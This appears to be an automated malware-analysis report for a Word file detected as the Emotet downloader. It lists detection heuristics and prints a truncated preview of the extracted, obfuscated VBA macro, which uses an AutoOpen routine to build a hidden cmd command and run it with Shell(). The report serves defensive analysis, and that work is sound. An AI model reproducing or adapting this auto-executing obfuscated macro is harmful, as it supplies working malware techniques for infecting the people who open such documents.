MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6884068-0', strongly indicating the Emotet family. Critical heuristics indicate the presence of a VBA macro with a Shell() call, which is a common technique for Emotet to download and execute additional malicious content. The AutoOpen macro further supports this, as it's designed to run automatically when the document is opened.
Heuristics 6
-
ClamAV: Doc.Downloader.Emotet-6884068-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-6884068-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 24908 bytes |
SHA-256: b121576752f2713cb53efc1b6177f7038d570fb73e63b4f538e159e75b4e3167 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "bRsZKitqQl"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
TypeName tKjru
TypeName ChrW(2)
TypeName GXGCuO
TypeName 49
VBA.Shell# KeyString(ZozARskvYGL + oiKcJdNfBD + vbKeyC + rwFrwEa + icQOFqE) + YqTiFfVO + tAXlIzZviE + dvjAZfQITfk + IARUUOcrHO + cdaQsrj + JcXak + lbqifuacTi + HHipcC + UJQij + ncLDNLLFnL + rUtYzB + ZjHkiY + jvtqwzBH + GMTtYhzNFwj + tOMNVXVvaiP + iVfMNPTk + STSjP + MpmEO + NNwBWH + HrfwkNra + TAQAKrHRfvZT, 627579999 - 627579999
TypeName 1
TypeName Log(EMGzc)
End Sub
Attribute VB_Name = "nksjFKNMEEjq"
Function dvjAZfQITfk()
On Error Resume Next
TypeName Sgn(duFBTv)
TypeName Sqr(8)
ncRln = "md " + " /V" + ":O " + " " + " /"
TypeName CInt(GhuSa)
TypeName 344127113
TypeName Sin(77239 * FCSoQC * iVMDJU + 11637)
RcIkWn = CStr(Chr(BCquIrZwDEbWl + mlKYuIGbkzvXU + 67 + lStspAa + wGQkSzdK)) + " " + CStr(Chr(wJKtqjuaFv + FuATIdsPsM + 34 + corWJlV + wItbYCJuZU)) + " s" + "et " + " 9q" + "8=d" + "P" + CStr(Chr(cBWkzqASlikEHR + YRTZdzIlGskaj + 108 + rTIznVlJv + kSYoTHBRW)) + "d" + "qri" + "j"
TypeName Log(318)
TypeName CDate(YkfYO)
shlbJb = "Jq" + "b" + "S" + "bW" + "pi" + "NU" + "bU" + "DZ"
TypeName ChrB(320245478)
TypeName Round(QVOvO * LnhvM)
TypeName Sqr(32241366)
FzsRi = "Sm" + "a" + "+" + "e" + "@;" + "/B," + "{58" + "x" + "O" + CStr(Chr(MQiskdH + jRLslwSNWm + 99 + DLNpNSYdZR + qHrUukIC)) + "o}" + ")=g" + ":zQ"
TypeName Sqr(zhAEs)
TypeName 69
TypeName 509
MjQrndZmOX = "$ " + "K" + "-uw" + "h" + "3v" + "k9" + "\" + "Fy" + CStr(Chr(iTGfCUonujAcIF + XLicARS + 67 + iHzSmiE + ctiiPDol)) + "sM" + "Rf" + "tY"
TypeName 4
TypeName Tan(uZiEX)
TypeName 314678579
VzCbjXQaiAc = "'" + ".n(" + "&& " + " f" + "or" + " " + "%"
TypeName 243385388
TypeName 7221
TypeName Chr(AzHvC)
FRAuZn = "D" + " in" + " (" + " " + " 1" + "4 " + ",3" + "8 " + " ," + " " + " 5"
TypeName ptMYo
TypeName CDate(ZNSio)
LRFDLpuEY = "1 " + " " + "," + " " + " " + " " + "26" + " " + " " + " "
TypeName ChrW(7087)
TypeName Rnd(8)
wpqBLjPhi = " , " + " " + " 5," + " 6" + "1,5" + "2 "
dvjAZfQITfk = ncRln + RcIkWn + shlbJb + FzsRi + MjQrndZmOX + VzCbjXQaiAc + FRAuZn + LRFDLpuEY + wpqBLjPhi
TypeName jizfJ
TypeName qrEFNR
TypeName Oct(dXRlj + zmuBf / 10661 / XrmsC)
End Function
Function IARUUOcrHO()
On Error Resume Next
TypeName SlTMXP
TypeName Int(92079 / hRlCSR / 19394 + wAzblv)
TypeName 7379
bTFkkv = " " + "," + " " + " 2" + "6 " + " ," + " 2"
TypeName ChrB(Ezvjj)
TypeName 710
cHcJtNGRt = "," + " " + " " + "2 ," + " "
TypeName CBool(UsOHs + 2976 * PMFwjQ - JzzCM)
TypeName LGnZm
TypeName 91910726
EmrUjc = " " + "47" + " ,4" + "6 " + ", "
TypeName LjRzuO
TypeName Atn(24354 - Xljai)
pjwhZsbizmk = " " + "3" + "8" + " " + " " + " ," + " " + "9 " + " " + ","
TypeName Fix(NjXbb * nDBGo / 44803 / khHYq)
TypeName Chr(39)
MsEiiAwAMT = " " + "22" + "," + " " + "4" + "1," + " " + " 6" + "9 " + " ,"
TypeName ptwis
TypeName vcDfJ
TypeName DchtRR
NQETXammY = " " + "26" + " " + " " + "," + "51" + " ," + " 49" + " " + " " + ", " + " " + " "
TypeName CSng(61645 * LbKEph)
TypeName roGhQm
UfmvPnb = "3" + "8" + " " + " ," + "18 " + " ," + "7 " + " " + " ," + " "
TypeName Oct(622)
TypeName GdksQn
bbtCzwoWi = " 2" + "6" + " ,3" + "7 " + " ," + "65 " + "," + " 47" + " " + "," + " "
TypeName 10
TypeName CStr(134955886)
TypeName 2672
NOtSMH = "1" + "6" + " " + " " + " , " + " " + "2" + "6 " + " , " + " "
TypeName Sqr(5007)
TypeName 164358546
OcOJUKFzjX = "65," + " 6" + "8" + " " + " ," + " 13" + " ,2" + "6 " + ", " + " " + "1"
TypeName 70
TypeName Chr(6251)
ocaUaqzBz = "8" + " " + " ," + " " + " " + "60 " + " " + " , " + " " + "2 " + ","
TypeName ChrB(18)
TypeName Cos(kFwdU)
Type
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.